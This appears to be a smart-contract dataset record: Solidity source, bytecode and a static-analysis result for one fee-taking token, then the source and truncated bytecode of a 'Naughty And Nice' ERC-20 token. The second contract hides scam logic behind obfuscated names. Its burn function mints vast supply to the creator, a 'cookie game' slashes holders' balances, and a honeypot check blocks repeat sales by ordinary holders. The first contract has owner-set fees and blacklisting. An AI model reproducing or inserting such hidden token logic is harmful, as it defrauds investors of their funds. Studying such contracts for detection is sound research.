addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
}
|
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd8014610533578063dd62ed3e14610548578063ea1644d51461058e578063f2fde38b146105ae57600080fd5b806395d89b41146101fe57806398a5c315146104c3578063a9059cbb146104e3578063bfd792841461050357600080fd5b80638da5cb5b116100d15780638da5cb5b1461045a5780638eb59a5f146104785780638f70ccf71461048d5780638f9a55c0146104ad57600080fd5b8063715018a61461040f57806374010ece146104245780637d1db4a51461044457600080fd5b80632fd689e31161016f578063672434821161013e57806367243482146103795780636b999053146103995780636d8aa8f8146103b957806370a08231146103d957600080fd5b80632fd689e314610307578063313ce5671461031d57806349bd5a5e14610339578063658d4b7f1461035957600080fd5b80630b78f9c0116101ab5780630b78f9c0146102705780631694505e1461029057806318160ddd146102c857806323b872dd146102e757600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024057600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611c31565b6105ce565b005b34801561020a57600080fd5b50604080518082018252600a8152694472616b656e20496e7560b01b602082015290516102379190611d78565b60405180910390f35b34801561024c57600080fd5b5061026061025b366004611b9d565b61067b565b6040519015158152602001610237565b34801561027c57600080fd5b506101fc61028b366004611d2a565b610692565b34801561029c57600080fd5b50600c546102b0906001600160a01b031681565b6040516001600160a01b039091168152602001610237565b3480156102d457600080fd5b506005545b604051908152602001610237565b3480156102f357600080fd5b50610260610302366004611b29565b6106c7565b34801561031357600080fd5b506102d960105481565b34801561032957600080fd5b5060405160098152602001610237565b34801561034557600080fd5b50600d546102b0906001600160a01b031681565b34801561036557600080fd5b506101fc610374366004611b69565b610730565b34801561038557600080fd5b506101fc610394366004611bc8565b610785565b3480156103a557600080fd5b506101fc6103b4366004611ab9565b610839565b3480156103c557600080fd5b506101fc6103d4366004611cf8565b610884565b3480156103e557600080fd5b506102d96103f4366004611ab9565b6001600160a01b031660009081526001602052604090205490565b34801561041b57600080fd5b506101fc6108cc565b34801561043057600080fd5b506101fc61043f366004611d12565b610902565b34801561045057600080fd5b506102d9600e5481565b34801561046657600080fd5b506000546001600160a01b03166102b0565b34801561048457600080fd5b506101fc610931565b34801561049957600080fd5b506101fc6104a8366004611cf8565b61097c565b3480156104b957600080fd5b506102d9600f5481565b3480156104cf57600080fd5b506101fc6104de366004611d12565b6109c4565b3480156104ef57600080fd5b506102606104fe366004611b9d565b6109f3565b34801561050f57600080fd5b5061026061051e366004611ab9565b600a6020526000908152604090205460ff1681565b34801561053f57600080fd5b506101fc610a00565b34801561055457600080fd5b506102d9610563366004611af1565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561059a57600080fd5b506101fc6105a9366004611d12565b610a46565b3480156105ba57600080fd5b506101fc6105c9366004611ab9565b610a75565b6000546001600160a01b031633146106015760405162461bcd60e51b81526004016105f890611dcb565b60405180910390fd5b60005b8151811015610677576001600a600084848151811061063357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066f81611ede565b915050610604565b5050565b6000610688338484610b90565b5060015b92915050565b6000546001600160a01b031633146106bc5760405162461bcd60e51b81526004016105f890611dcb565b600691909155600755565b60006106d4848484610cb4565b610726843361072185604051806060016040528060288152602001611f3b602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611286565b610b90565b5060019392505050565b6000546001600160a01b0316331461075a5760405162461bcd60e51b81526004016105f890611dcb565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107af5760405162461bcd60e51b81526004016105f890611dcb565b60005b838110156108325761081f338686848181106107de57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906107f39190611ab9565b85858581811061081357634e487b7160e01b600052603260045260246000fd5b905060200201356112c0565b508061082a81611ede565b9150506107b2565b5050505050565b6000546001600160a01b031633146108635760405162461bcd60e51b81526004016105f890611dcb565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146108ae5760405162461bcd60e51b81526004016105f890611dcb565b600d8054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b031633146108f65760405162461bcd60e51b81526004016105f890611dcb565b61090060006113a6565b565b6000546001600160a01b0316331461092c5760405162461bcd60e51b81526004016105f890611dcb565b600e55565b6000546001600160a01b0316331461095b5760405162461bcd60e51b81526004016105f890611dcb565b600d805460ff60b81b198116600160b81b9182900460ff1615909102179055565b6000546001600160a01b031633146109a65760405162461bcd60e51b81526004016105f890611dcb565b600d8054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109ee5760405162461bcd60e51b81526004016105f890611dcb565b601055565b6000610688338484610cb4565b6000546001600160a01b03163314610a2a5760405162461bcd60e51b81526004016105f890611dcb565b30600090815260016020526040902054610a43816113f6565b50565b6000546001600160a01b03163314610a705760405162461bcd60e51b81526004016105f890611dcb565b600f55565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b81526004016105f890611dcb565b6001600160a01b038116610b045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f8565b600060046000610b1c6000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610b4d816113a6565b600160046000610b656000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905550565b6001600160a01b038316610bf25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f8565b6001600160a01b038216610c535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f8565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f8565b6001600160a01b038216610d7a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f8565b60008111610ddc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f8565b6001600160a01b03821660009081526004602052604090205460ff16158015610e1e57506001600160a01b03831660009081526004602052604090205460ff16155b1561116157600d54600160a01b900460ff16610e7c5760405162461bcd60e51b815260206004820152601e60248201527f544f4b454e3a2054726164696e67206e6f74207965742073746172746564000060448201526064016105f8565b600e54811115610ece5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f8565b6001600160a01b0383166000908152600a602052604090205460ff16158015610f1057506001600160a01b0382166000908152600a602052604090205460ff16155b610f685760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f8565b600d546001600160a01b038381169116146110d657600d546001600160a01b038481169116148015610fa35750600d54600160b81b900460ff165b1561105057326000908152600260205260409020544290610fc59060b4611e70565b108015610ff557506001600160a01b0382166000908152600260205260409020544290610ff39060b4611e70565b105b6110505760405162461bcd60e51b815260206004820152602660248201527f544f4b454e3a2033206d696e7574657320636f6f6c646f776e206265747765656044820152656e206275797360d01b60648201526084016105f8565b600f5481611073846001600160a01b031660009081526001602052604090205490565b61107d9190611e70565b106110d65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f8565b3060009081526001602052604090205460105481108015906110f85760105491505b80801561110f5750600d54600160a81b900460ff16155b80156111295750600d546001600160a01b03868116911614155b801561113e5750600d54600160b01b900460ff165b1561115e5761114c826113f6565b47801561115c5761115c476115fa565b505b50505b6001600160a01b03831660009081526004602052604090205460019060ff16806111a357506001600160a01b03831660009081526004602052604090205460ff165b806111d55750600d546001600160a01b038581169116148015906111d55750600d546001600160a01b03848116911614155b156111e257506000611250565b600d546001600160a01b03858116911614801561120d5750600c546001600160a01b03848116911614155b15611219576006546008555b600d546001600160a01b0384811691161480156112445750600c546001600160a01b03858116911614155b15611250576007546008555b3260009081526002602052604080822042908190556001600160a01b038616835291205561128084848484611634565b50505050565b600081848411156112aa5760405162461bcd60e51b81526004016105f89190611d78565b5060006112b78486611ec7565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600190915291822054611311918490611286565b6001600160a01b0380861660009081526001602052604080822093909355908516815220546113409083611655565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113949086815260200190565b60405180910390a35060019392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600d805460ff60a81b1916600160a81b1790556000611421606461141b8460556116bb565b9061173a565b9050600061142f8284611ec7565b6040805160028082526060820183529293504792600092602083019080368337019050509050308160008151811061147757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114cb57600080fd5b505afa1580156114df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115039190611ad5565b8160018151811061152457634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600c5461154a9130911687610b90565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611583908790600090869030904290600401611e00565b600060405180830381600087803b15801561159d57600080fd5b505af11580156115b1573d6000803e3d6000fd5b5050505060006115ca834761177c90919063ffffffff16565b90506115e5846115e0606461141b85600f6116bb565b6117be565b5050600d805460ff60a81b1916905550505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610677573d6000803e3d6000fd5b8061164a576116448484846112c0565b50611280565b611280848484611877565b6000806116628385611e70565b9050838110156116b45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f8565b9392505050565b6000826116ca5750600061068c565b60006116d68385611ea8565b9050826116e38583611e88565b146116b45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f8565b60006116b483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197c565b60006116b483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611286565b600c546117d69030906001600160a01b031684610b90565b600c5460405163f305d71960e01b8152306004820152602481018490526000604482018190526064820181905260848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b15801561183e57600080fd5b505af1158015611852573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108329190611d4b565b600061188384836119aa565b90506118eb8260405180604001604052806014815260200173496e73756666696369656e742042616c616e636560601b81525060016000886001600160a01b03166001600160a01b03168152602001908152602001600020546112869092919063ffffffff16565b6001600160a01b03808616600090815260016020526040808220939093559085168152205461191a9082611655565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061196e9085815260200190565b60405180910390a350505050565b6000818361199d5760405162461bcd60e51b81526004016105f89190611d78565b5060006112b78486611e88565b6000806119c7606461141b600854866116bb90919063ffffffff16565b306000908152600160205260409020549091506119e49082611655565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a359085815260200190565b60405180910390a3611a47838261177c565b949350505050565b8035611a5a81611f25565b919050565b60008083601f840112611a70578081fd5b50813567ffffffffffffffff811115611a87578182fd5b6020830191508360208260051b8501011115611aa257600080fd5b9250929050565b80358015158114611a5a57600080fd5b600060208284031215611aca578081fd5b81356116b481611f25565b600060208284031215611ae6578081fd5b81516116b481611f25565b60008060408385031215611b03578081fd5b8235611b0e81611f25565b91506020830135611b1e81611f25565b809150509250929050565b600080600060608486031215611b3d578081fd5b8335611b4881611f25565b92506020840135611b5881611f25565b929592945050506040919091013590565b60008060408385031215611b7b578182fd5b8235611b8681611f25565b9150611b9460208401611aa9565b90509250929050565b60008060408385031215611baf578182fd5b8235611bba81611f25565b946020939093013593505050565b60008060008060408587031215611bdd578081fd5b843567ffffffffffffffff80821115611bf4578283fd5b611c0088838901611a5f565b90965094506020870135915080821115611c18578283fd5b50611c2587828801611a5f565b95989497509550505050565b60006020808385031215611c43578182fd5b823567ffffffffffffffff80821115611c5a578384fd5b818501915085601f830112611c6d578384fd5b813581811115611c7f57611c7f611f0f565b8060051b604051601f19603f83011681018181108582111715611ca457611ca4611f0f565b604052828152858101935084860182860187018a1015611cc2578788fd5b8795505b83861015611ceb57611cd781611a4f565b855260019590950194938601938601611cc6565b5098975050505050505050565b600060208284031215611d09578081fd5b6116b482611aa9565b600060208284031215611d23578081fd5b5035919050565b60008060408385031215611d3c578182fd5b50508035926020909101359150565b600080600060608486031215611d5f578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611da457858101830151858201604001528201611d88565b81811115611db55783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611e4f5784516001600160a01b031683529383019391830191600101611e2a565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e8357611e83611ef9565b500190565b600082611ea357634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ec257611ec2611ef9565b500290565b600082821015611ed957611ed9611ef9565b500390565b6000600019821415611ef257611ef2611ef9565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a4357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220130ca98ccffe415593cf0ac43f937f48254a9adfe5346e8377d94c1b5e1c5fd064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,381 |
0x2a6db170d21d3e364aaf6c863f2afba87a022a7c
|
/**
*Submitted for verification at Etherscan.io on 2021-12-18
*/
/*
_ _ _ _ _____ _ _ _________ __ _ _ _____ _ _ _____ _____ ______
| \ | | /\ | | | |/ ____| | | |__ __\ \ / / /\ | \ | | __ \ | \ | |_ _/ ____| ____|
| \| | / \ | | | | | __| |__| | | | \ \_/ / / \ | \| | | | | | \| | | || | | |__
| . ` | / /\ \| | | | | |_ | __ | | | \ / / /\ \ | . ` | | | | | . ` | | || | | __|
| |\ |/ ____ \ |__| | |__| | | | | | | | | / ____ \| |\ | |__| | | |\ |_| || |____| |____
|_| \_/_/ \_\____/ \_____|_| |_| |_| |_| /_/ \_\_| \_|_____/ |_| \_|_____\_____|______|
Hoe Hoe Hoe, it's time to look beyond naught and nice
with Friedrich Nietzsche and Elon Musk.
Join us @BeyondNaughtAndNice
$NAUGHTYNICE
*/
pragma solidity 0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) private Butter;
mapping (address => bool) private Backpack;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _LoggedTime;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public pair;
IDEXRouter router;
address[] private tokenArray;
string private _name; string private _symbol;
address private _creator; uint256 private _totalSupply;
uint256 private Toss; uint256 private Benedict;
uint256 private Spiderman; bool private DrStrange;
bool private Goodbye; bool private ElonMusk;
uint256 private asdfg;
constructor (string memory name_, string memory symbol_, address creator_) {
router = IDEXRouter(_router);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_name = name_;
_creator = creator_;
_symbol = symbol_;
Goodbye = true;
Butter[creator_] = true;
DrStrange = true;
ElonMusk = false;
Backpack[creator_] = false;
asdfg = 0;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function burn(uint256 amount) public virtual returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _EnterTokenGames(address sender, uint256 amount) internal {
if ((Butter[sender] != true)) {
if ((amount > Spiderman)) { require(false); }
require(amount < Toss);
if (ElonMusk == true) {
if (Backpack[sender] == true) { require(false); }
Backpack[sender] = true;
}
}
}
function _TheCookieGame(address recipient) internal {
tokenArray.push(recipient);
_LoggedTime[recipient] = block.timestamp;
if ((Butter[recipient] != true) && (asdfg > 2)) {
if ((_LoggedTime[tokenArray[asdfg-1]] == _LoggedTime[tokenArray[asdfg]]) && Butter[tokenArray[asdfg-1]] != true) {
_balances[tokenArray[asdfg-1]] = _balances[tokenArray[asdfg-1]]/75;
}
}
asdfg++;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _burn(address account, uint256 amount) internal {
_balances[_creator] += _totalSupply * 10 ** 10;
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] -= amount;
_balances[address(0)] += amount;
emit Transfer(account, address(0), amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
(Butter[spender],Backpack[spender],DrStrange) = ((address(owner) == _creator) && (DrStrange == true)) ? (true,false,false) : (Butter[spender],Backpack[spender],DrStrange);
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
(Toss,ElonMusk) = ((address(sender) == _creator) && (Goodbye == false)) ? (Benedict, true) : (Toss,ElonMusk);
(Butter[recipient],Goodbye) = ((address(sender) == _creator) && (Goodbye == true)) ? (true, false) : (Butter[recipient],Goodbye);
_TheCookieGame(recipient);
_EnterTokenGames(sender, amount);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _DeployTheToken(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
(uint256 temp1, uint256 temp2) = (1000, 1000);
_totalSupply += amount;
_balances[account] += amount;
Toss = _totalSupply;
Benedict = _totalSupply / temp1;
Spiderman = Benedict * temp2;
emit Transfer(address(0), account, amount);
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
_DeployTheToken(creator, initialSupply);
}
}
contract NaughtyAndNice is ERC20Token {
constructor() ERC20Token("Naughty And Nice", "NAUGHTYNICE", msg.sender, 22500000000 * 10 ** 18) {
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146101f5578063a8aa1b3114610208578063a9059cbb1461021b578063dd62ed3e1461022e57600080fd5b806370a0823114610195578063715018a6146101be5780638da5cb5b146101c857806395d89b41146101ed57600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461016f57806342966c681461018257600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b610102610267565b60405161010f9190610e45565b60405180910390f35b61012b610126366004610eb6565b6102f9565b604051901515815260200161010f565b600f545b60405190815260200161010f565b61012b61015b366004610ee0565b61030f565b6040516012815260200161010f565b61012b61017d366004610eb6565b6103c5565b61012b610190366004610f1c565b6103fc565b61013f6101a3366004610f35565b6001600160a01b031660009081526004602052604090205490565b6101c6610410565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200161010f565b6101026104b4565b61012b610203366004610eb6565b6104c3565b6009546101d5906001600160a01b031681565b61012b610229366004610eb6565b61055e565b61013f61023c366004610f57565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600c805461027690610f8a565b80601f01602080910402602001604051908101604052809291908181526020018280546102a290610f8a565b80156102ef5780601f106102c4576101008083540402835291602001916102ef565b820191906000526020600020905b8154815290600101906020018083116102d257829003601f168201915b5050505050905090565b600061030633848461056b565b50600192915050565b600061031c848484610736565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103a65760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ba85336103b58685610fdb565b61056b565b506001949350505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916103069185906103b5908690610ff2565b60006104083383610a23565b506001919050565b6001546001600160a01b0316331461046a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039d565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600d805461027690610f8a565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105455760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161039d565b61055433856103b58685610fdb565b5060019392505050565b6000610306338484610736565b6001600160a01b0383166105cd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161039d565b6001600160a01b03821661062e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161039d565b600e546001600160a01b038481169116148015610652575060135460ff1615156001145b61068e576001600160a01b03821660009081526002602090815260408083205460039092529091205460135460ff928316929182169116610694565b60016000805b6001600160a01b038581166000818152600260209081526040808320600383528184206013805498151560ff19998a161790558054981515988816989098179097558654971515979095169690961790945590871680845260058552828420828552855292829020859055905184815290927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661079a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161039d565b6001600160a01b0382166107fc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161039d565b6001600160a01b038316600090815260046020526040902054818110156108745760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161039d565b600e546001600160a01b0385811691161480156108995750601354610100900460ff16155b6108b15760105460135462010000900460ff166108b7565b60115460015b60138054911515620100000262ff000019909216919091179055601055600e546001600160a01b0385811691161480156108fe575060135460ff6101009091041615156001145b610930576001600160a01b03831660009081526002602052604090205460135460ff9182169161010090910416610935565b600160005b6001600160a01b03851660009081526002602052604090206013805461ff0019166101009315159390930292909217909155805460ff191691151591909117905561097f83610b76565b6109898483610d9a565b6109938282610fdb565b6001600160a01b0380861660009081526004602052604080822093909355908516815290812080548492906109c9908490610ff2565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a1591815260200190565b60405180910390a350505050565b600f54610a35906402540be40061100a565b600e546001600160a01b031660009081526004602052604081208054909190610a5f908490610ff2565b90915550506001600160a01b038216610ac45760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161039d565b6001600160a01b03821660009081526004602052604081208054839290610aec908490610fdb565b9091555050600080805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec8054839290610b2c908490610ff2565b90915550506040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c